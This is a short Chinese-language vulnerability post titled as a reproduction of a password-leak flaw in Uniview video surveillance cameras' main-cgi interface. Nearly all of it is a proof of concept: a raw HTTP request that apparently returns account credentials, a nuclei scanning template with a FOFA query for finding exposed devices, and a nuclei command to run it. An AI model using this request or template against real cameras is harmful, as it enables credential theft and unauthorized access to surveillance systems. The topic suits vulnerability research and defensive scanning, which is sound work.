【漏洞复现】宇视科技视频监控main-cgi密码泄露漏洞（附POC）

GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Connection: closeAccept-Encoding: gzip

id: uniview-main-cgi-password-leak
info:  name: 宇视科技视频监控 main-cgi 密码泄露漏洞  author: fgz  severity: high  description: 宇视(Uniview)高清网络摄像机是一种高性能的网络摄像机，它可以通过网络进行视频传输和监控。该摄像机采用先进的视频技术，具有高清晰度、低照度、宽动态等特点，能够提供高质量的视频图像。该系统main-cgi接口处存在信息泄露漏洞，可以获取账号密码。  metadata:    fofa-query: app="uniview-视频监控"requests:  - raw:      - |        GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1        Host: {{Hostname}}        Accept-Encoding: gzip        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
    matchers-condition: and    matchers:      - type: dsl        dsl:          - 'contains(body, "UserName")'

nuclei.exe -t mypoc/其他/uniview-main-cgi-password-leak.yaml -u http://x.x.x.